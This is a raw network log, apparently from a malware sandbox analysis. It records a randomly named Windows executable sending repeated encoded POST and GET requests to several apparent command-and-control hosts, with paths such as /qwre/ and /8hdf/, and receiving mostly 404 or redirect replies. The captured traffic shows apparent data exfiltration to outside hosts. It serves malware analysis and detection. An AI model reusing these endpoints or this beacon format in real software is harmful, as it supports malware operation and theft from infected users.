Oct 3, 2024 18:14:41.576988935 CEST	1038	IN	HTTP/1.1 302 Found Connection: close content-type: text/html content-length: 771 date: Thu, 03 Oct 2024 16:14:41 GMT cache-control: no-cache, no-store, must-revalidate, max-age=0 location: http://www.030002626.xyz/cgi-sys/suspendedpage.cgi vary: User-Agent Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 32 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 302 Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">302</h1><h2 style="margin-top:20px;font-size: 30px;">Found</h2><p>The document has been temporarily moved.</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.11.20	49773	65.21.196.90	80	636	C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 18:14:44.110172987 CEST	519	OUT	GET /49rz/?SLTxDJ=EhbzRBRYrjyKBBl3aRsEbBXbhOXLjCE10r+nsIopZm23Glpi7Qy7+DNq+4vPd57NXdgKEXQmc8fDDe8aO6D/jhEFr7XAm7t+Z7WB57wuun69z0f4xguMScI=&sdqp=DdBtjpu0 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Host: www.030002626.xyz Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1751.0 Safari/537.36 DejaClick/1.0.7.1
Oct 3, 2024 18:14:44.301213980 CEST	1180	IN	HTTP/1.1 302 Found Connection: close content-type: text/html content-length: 771 date: Thu, 03 Oct 2024 16:14:44 GMT cache-control: no-cache, no-store, must-revalidate, max-age=0 location: http://www.030002626.xyz/cgi-sys/suspendedpage.cgi?SLTxDJ=EhbzRBRYrjyKBBl3aRsEbBXbhOXLjCE10r+nsIopZm23Glpi7Qy7+DNq+4vPd57NXdgKEXQmc8fDDe8aO6D/jhEFr7XAm7t+Z7WB57wuun69z0f4xguMScI=&sdqp=DdBtjpu0 vary: User-Agent Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 32 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 302 Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">302</h1><h2 style="margin-top:20px;font-size: 30px;">Found</h2><p>The document has been temporarily moved.</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.11.20	49774	195.110.124.133	80	636	C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 18:14:50.070063114 CEST	796	OUT	POST /qwre/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Host: www.nidedabeille.net Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 203 Origin: http://www.nidedabeille.net Referer: http://www.nidedabeille.net/qwre/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1751.0 Safari/537.36 DejaClick/1.0.7.1 Data Raw: 53 4c 54 78 44 4a 3d 30 4b 38 47 4e 53 63 66 31 47 54 6c 78 4e 39 4a 78 32 4f 31 50 4e 4e 72 49 4c 70 5a 32 2f 58 52 34 57 50 39 59 58 54 33 38 48 64 44 4a 52 79 6e 42 4e 39 36 71 48 73 67 55 70 75 59 59 33 33 32 56 55 57 53 72 32 52 2f 64 30 77 5a 6d 6e 34 59 45 74 75 2f 41 2b 6b 45 42 4a 6e 4d 73 71 62 52 44 57 50 30 65 6d 37 4f 6a 35 4e 53 43 36 64 6c 55 55 4c 79 6d 4b 54 31 48 75 75 53 4c 6e 63 47 44 5a 74 4d 67 7a 73 65 37 4f 62 42 32 44 67 63 57 51 41 34 41 38 54 78 62 67 63 72 61 6f 36 32 34 58 47 61 74 47 70 79 6e 6f 62 5a 6e 48 33 53 65 6c 74 4e 4a 43 56 77 57 71 35 66 38 4d 37 30 41 77 3d 3d Data Ascii: SLTxDJ=0K8GNScf1GTlxN9Jx2O1PNNrILpZ2/XR4WP9YXT38HdDJRynBN96qHsgUpuYY332VUWSr2R/d0wZmn4YEtu/A+kEBJnMsqbRDWP0em7Oj5NSC6dlUULymKT1HuuSLncGDZtMgzse7ObB2DgcWQA4A8Txbgcrao624XGatGpynobZnH3SeltNJCVwWq5f8M70Aw==
Oct 3, 2024 18:14:50.254766941 CEST	367	IN	HTTP/1.1 404 Not Found Date: Thu, 03 Oct 2024 16:14:50 GMT Server: Apache Content-Length: 203 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 71 77 72 65 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /qwre/ was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.11.20	49775	195.110.124.133	80	636	C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 18:14:52.789407015 CEST	816	OUT	POST /qwre/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Host: www.nidedabeille.net Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 223 Origin: http://www.nidedabeille.net Referer: http://www.nidedabeille.net/qwre/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1751.0 Safari/537.36 DejaClick/1.0.7.1 Data Raw: 53 4c 54 78 44 4a 3d 30 4b 38 47 4e 53 63 66 31 47 54 6c 7a 74 4e 4a 77 56 6d 31 4a 74 4e 6f 44 72 70 5a 39 66 58 72 34 57 54 39 59 57 57 38 38 30 35 44 4a 7a 71 6e 43 4d 39 36 74 48 73 67 4e 5a 76 53 58 58 33 39 56 55 62 78 72 32 64 2f 64 77 59 5a 6d 6d 49 59 45 61 36 38 47 75 6b 4b 48 4a 6e 30 6a 4b 62 52 44 57 50 30 65 6d 2f 6f 6a 35 56 53 44 4b 74 6c 57 31 4c 78 76 71 54 71 45 75 75 53 42 48 63 43 44 5a 74 75 67 79 41 34 37 49 66 42 32 42 34 63 56 45 30 37 4a 38 54 72 57 41 64 75 58 59 71 7a 67 55 43 75 72 30 55 76 70 72 72 4f 69 52 6d 49 44 58 5a 70 4b 52 4a 43 53 61 41 33 2b 4f 36 76 64 36 79 6c 2f 44 6f 6e 44 5a 62 5a 67 58 76 6b 6a 2b 43 56 36 69 34 3d Data Ascii: SLTxDJ=0K8GNScf1GTlztNJwVm1JtNoDrpZ9fXr4WT9YWW8805DJzqnCM96tHsgNZvSXX39VUbxr2d/dwYZmmIYEa68GukKHJn0jKbRDWP0em/oj5VSDKtlW1LxvqTqEuuSBHcCDZtugyA47IfB2B4cVE07J8TrWAduXYqzgUCur0UvprrOiRmIDXZpKRJCSaA3+O6vd6yl/DonDZbZgXvkj+CV6i4=
Oct 3, 2024 18:14:52.975066900 CEST	367	IN	HTTP/1.1 404 Not Found Date: Thu, 03 Oct 2024 16:14:52 GMT Server: Apache Content-Length: 203 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 71 77 72 65 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /qwre/ was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.11.20	49776	195.110.124.133	80	636	C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 18:14:55.507205963 CEST	1289	OUT	POST /qwre/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Host: www.nidedabeille.net Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 7371 Origin: http://www.nidedabeille.net Referer: http://www.nidedabeille.net/qwre/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1751.0 Safari/537.36 DejaClick/1.0.7.1 Data Raw: 53 4c 54 78 44 4a 3d 30 4b 38 47 4e 53 63 66 31 47 54 6c 7a 74 4e 4a 77 56 6d 31 4a 74 4e 6f 44 72 70 5a 39 66 58 72 34 57 54 39 59 57 57 38 38 30 78 44 49 47 32 6e 42 76 6c 36 73 48 73 67 46 35 76 52 58 58 33 61 56 51 33 74 72 33 67 43 64 79 51 5a 6d 41 55 59 4e 4f 57 38 49 75 6b 4b 4c 70 6e 50 73 71 62 41 44 57 66 34 65 6d 76 6f 6a 35 56 53 44 4d 4a 6c 66 45 4c 78 6a 4b 54 31 48 75 75 65 4c 6e 63 36 44 5a 31 55 67 79 30 4f 75 72 58 42 31 68 6f 63 51 78 41 37 56 73 54 74 61 67 64 49 58 59 6e 6a 67 56 75 49 72 33 4a 36 70 70 4c 4f 69 55 44 76 61 6d 5a 73 4a 54 78 75 59 49 64 52 39 75 2b 37 56 49 4f 63 76 79 6b 52 46 65 54 61 2f 30 54 31 2b 63 53 75 37 31 2b 75 39 54 35 65 76 79 43 62 4a 58 67 37 53 77 66 74 33 4a 4e 50 4d 62 4a 6d 32 4e 45 73 77 37 73 37 6e 73 55 49 32 44 41 51 54 49 72 51 78 55 41 4b 6e 69 38 66 68 63 2b 6d 6d 6b 63 32 4c 63 35 4d 50 51 32 71 38 48 79 4f 6b 6d 43 77 2f 58 6c 57 2f 37 71 33 57 4a 4c 45 4d 2b 62 38 63 43 53 6e 66 2f 42 70 6c 4b 61 34 77 30 48 2b 4b 4e 79 4a 38 35 33 [TRUNCATED] Data Ascii: SLTxDJ=0K8GNScf1GTlztNJwVm1JtNoDrpZ9fXr4WT9YWW880xDIG2nBvl6sHsgF5vRXX3aVQ3tr3gCdyQZmAUYNOW8IukKLpnPsqbADWf4emvoj5VSDMJlfELxjKT1HuueLnc6DZ1Ugy0OurXB1hocQxA7VsTtagdIXYnjgVuIr3J6ppLOiUDvamZsJTxuYIdR9u+7VIOcvykRFeTa/0T1+cSu71+u9T5evyCbJXg7Swft3JNPMbJm2NEsw7s7nsUI2DAQTIrQxUAKni8fhc+mmkc2Lc5MPQ2q8HyOkmCw/XlW/7q3WJLEM+b8cCSnf/BplKa4w0H+KNyJ853elvqOTFmepeMjx9iM0yGRLSCWQ/IupIP57TxQOqB05CQ9sqw96hyeKWCrvebFWKqAbL740eKwvUnKuEILvMGbX5GR7pxX6VtLmwB+lOLBIYspBTc23Vs+mfRtzdGuom4ErAQphD+PWWsh4jfgGnzPcPK0gYwm8ShmRS8RhNxS85zdLNh85B0OPZZtzXe6WKm5+OCOUcARrJYGaFEBFyyAYs+PEx2WVtE8G4ZrVmk96KVkyVF61PGsqlyBNUO8rUwsQDrbEkY+uAFqVDnI/sQdq19vd9BPEcGaK2uOrx36NLIMFWpnNMkQavO4zUOGoS+2Gb002w0jjGoNbdE4qHAJYCO7tBqEeFTy4suo
Oct 3, 2024 18:14:55.507256031 CEST	5156	OUT	Data Raw: 41 4f 5a 51 41 34 58 36 53 6c 4f 5a 7a 37 41 57 2f 72 59 44 48 64 63 67 6b 5a 75 33 30 77 7a 7a 4a 67 4c 61 6c 6b 41 4d 32 64 44 6f 4c 63 5a 37 6a 43 75 52 49 56 4c 46 53 56 6d 71 6f 72 48 63 6f 2b 35 72 74 5a 6c 77 31 50 52 36 75 6e 63 2f 2b 30 Data Ascii: AOZQA4X6SlOZz7AW/rYDHdcgkZu30wzzJgLalkAM2dDoLcZ7jCuRIVLFSVmqorHco+5rtZlw1PR6unc/+0EMmjnIXwugmiyBEJZR6z0QqT+O0O+YsmBY+NJvnbbYciPR7j+ieseLnwQkSUhJQjFX58fvMRpJ6MrHZV//4soXUB/jSLUqMyhcir4vHzRlPzNZriuhvQO1DUuTNfZr+p0XuGkEYMw156XNii0k1+Jmj1zgTWGkh8+
Oct 3, 2024 18:14:55.507303953 CEST	1520	OUT	Data Raw: 49 49 35 6b 56 73 61 77 45 71 4c 71 77 47 68 49 77 42 30 57 49 48 53 4c 45 43 33 72 41 6e 6b 6d 67 42 30 61 76 47 66 37 30 73 50 61 75 37 64 34 64 76 70 55 67 55 69 56 49 42 52 33 6d 4b 4f 36 74 53 4b 53 55 4f 5a 46 30 4f 55 4d 41 5a 79 65 4a 7a Data Ascii: II5kVsawEqLqwGhIwB0WIHSLEC3rAnkmgB0avGf70sPau7d4dvpUgUiVIBR3mKO6tSKSUOZF0OUMAZyeJz4hJgsKQ0SFaqkBH7rJAT7YdRnIyA+Y9rjyYY4xyYnGK+FDoLEP7rN4lZWXScI/ixcejRRTDsMnMH7rr0+H17lRL8mzOk9+w7XgfdmKdUiNsZQQGP60LJ2sRnaM5E55inIcce1iXH18+WwtKVQGi/damzvxqkTzusa
Oct 3, 2024 18:14:55.691967010 CEST	367	IN	HTTP/1.1 404 Not Found Date: Thu, 03 Oct 2024 16:14:55 GMT Server: Apache Content-Length: 203 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 71 77 72 65 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /qwre/ was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.11.20	49777	195.110.124.133	80	636	C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 18:14:58.223434925 CEST	522	OUT	GET /qwre/?SLTxDJ=5IUmOmgXmzXVv/gX216kUflcAKBqivLO9FqsMlOL+FkZEQacAcRtqW88LIybSleJd1eUrkQHdwoeigFGPvuQFpglB+P4g6ziRlq8MXCZxaJOIp9OQX7VofM=&sdqp=DdBtjpu0 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Host: www.nidedabeille.net Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1751.0 Safari/537.36 DejaClick/1.0.7.1
Oct 3, 2024 18:14:58.407011986 CEST	367	IN	HTTP/1.1 404 Not Found Date: Thu, 03 Oct 2024 16:14:58 GMT Server: Apache Content-Length: 203 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 71 77 72 65 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /qwre/ was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.11.20	49778	176.123.9.220	80	636	C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 18:15:05.036295891 CEST	778	OUT	POST /8hdf/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Host: www.pqoff.cyou Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 203 Origin: http://www.pqoff.cyou Referer: http://www.pqoff.cyou/8hdf/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1751.0 Safari/537.36 DejaClick/1.0.7.1 Data Raw: 53 4c 54 78 44 4a 3d 6f 4a 6d 53 72 34 4e 53 76 34 37 78 63 33 31 68 61 32 45 2b 48 36 49 4d 75 71 44 70 62 6f 6f 4d 70 4f 77 53 32 59 62 4c 4e 74 71 46 58 30 43 48 4e 6a 7a 56 63 43 77 4d 67 47 52 49 33 55 61 41 37 58 2b 68 41 49 72 73 75 52 38 6d 43 4d 52 4b 66 2f 6f 53 4d 69 6d 76 48 75 49 45 65 59 54 32 38 4b 34 59 48 59 49 7a 58 34 52 2b 63 55 51 4a 34 74 7a 6c 39 79 37 2b 72 69 50 4a 71 44 6e 4f 50 4c 78 56 72 50 70 33 4a 43 44 6d 55 30 35 39 56 63 79 45 56 48 36 31 67 35 41 36 49 33 2f 4e 35 65 59 47 2f 4d 69 4f 7a 6d 69 44 48 36 78 62 59 6b 42 66 34 59 78 59 56 39 6d 4e 6d 6e 37 2b 4c 77 3d 3d Data Ascii: SLTxDJ=oJmSr4NSv47xc31ha2E+H6IMuqDpbooMpOwS2YbLNtqFX0CHNjzVcCwMgGRI3UaA7X+hAIrsuR8mCMRKf/oSMimvHuIEeYT28K4YHYIzX4R+cUQJ4tzl9y7+riPJqDnOPLxVrPp3JCDmU059VcyEVH61g5A6I3/N5eYG/MiOzmiDH6xbYkBf4YxYV9mNmn7+Lw==
Oct 3, 2024 18:15:05.249392986 CEST	302	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 03 Oct 2024 16:15:05 GMT Content-Type: text/html Content-Length: 138 Connection: close ETag: "667ac238-8a" Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.11.20	49779	176.123.9.220	80	636	C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 18:15:07.783873081 CEST	798	OUT	POST /8hdf/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Host: www.pqoff.cyou Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 223 Origin: http://www.pqoff.cyou Referer: http://www.pqoff.cyou/8hdf/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1751.0 Safari/537.36 DejaClick/1.0.7.1 Data Raw: 53 4c 54 78 44 4a 3d 6f 4a 6d 53 72 34 4e 53 76 34 37 78 64 58 6c 68 63 58 45 2b 43 61 49 44 68 4b 44 70 53 49 6f 41 70 4f 38 53 32 63 72 69 4d 65 65 46 58 55 79 48 4b 6e 76 56 62 43 77 4d 72 6d 52 4e 6f 45 61 66 37 58 79 48 41 4a 58 73 75 52 6f 6d 43 4d 68 4b 66 73 51 52 4e 79 6d 74 4b 4f 49 47 52 34 54 32 38 4b 34 59 48 63 6b 5a 58 34 4a 2b 63 45 41 4a 35 4a 6e 6b 69 43 37 39 37 53 50 4a 37 54 6e 4b 50 4c 78 6e 72 4c 77 2f 4a 41 4c 6d 55 31 4a 39 56 49 65 44 62 48 36 7a 75 5a 42 72 47 57 54 49 79 39 38 45 76 4f 32 78 33 31 71 67 43 73 67 42 46 57 31 37 37 4c 74 71 52 4e 66 6c 6b 6c 36 6c 57 2b 69 54 6f 4a 50 2b 6f 67 44 4b 51 68 65 54 50 6d 38 52 66 2b 6b 3d Data Ascii: SLTxDJ=oJmSr4NSv47xdXlhcXE+CaIDhKDpSIoApO8S2criMeeFXUyHKnvVbCwMrmRNoEaf7XyHAJXsuRomCMhKfsQRNymtKOIGR4T28K4YHckZX4J+cEAJ5JnkiC797SPJ7TnKPLxnrLw/JALmU1J9VIeDbH6zuZBrGWTIy98EvO2x31qgCsgBFW177LtqRNflkl6lW+iToJP+ogDKQheTPm8Rf+k=
